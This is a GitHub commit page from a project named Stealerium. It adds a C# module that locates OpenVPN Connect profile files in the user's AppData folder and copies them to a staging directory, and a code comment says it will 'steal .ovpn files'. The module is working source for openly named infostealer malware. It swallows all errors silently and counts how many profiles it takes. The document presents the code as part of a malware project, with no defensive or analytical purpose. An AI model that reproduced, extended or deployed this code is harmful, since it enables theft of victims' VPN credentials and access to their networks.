Skip to content

Commit

Permalink
update file
Browse files Browse the repository at this point in the history
  • Loading branch information
BloodOnTop committed Mar 14, 2023
1 parent 73f3eee commit 3095f76
Showing 1 changed file with 38 additions and 0 deletions.
38 changes: 38 additions & 0 deletions Stub/Target/VPN/OpenVPN.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
using System;
using System.IO;
using Stealerium.Helpers;

namespace Stealerium.Target.VPN
{
internal sealed class OpenVpn
{
// Save("OpenVPN");
public static void Save(string sSavePath)
{
// "OpenVPN connect" directory path
var vpn = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"OpenVPN Connect\\profiles");
// Stop if not exists
if (!Directory.Exists(vpn))
return;
try
{
// Create directory to save profiles
Directory.CreateDirectory(sSavePath + "\\profiles");
// Steal .ovpn files
foreach (var file in Directory.GetFiles(vpn))
if (Path.GetExtension(file).Contains("ovpn"))
{
Counter.Vpn++;
File.Copy(file,
Path.Combine(sSavePath, "profiles\\"
+ Path.GetFileName(file)));
}
}
catch
{
// ignored
}
}
}
}

0 comments on commit 3095f76

Please sign in to comment.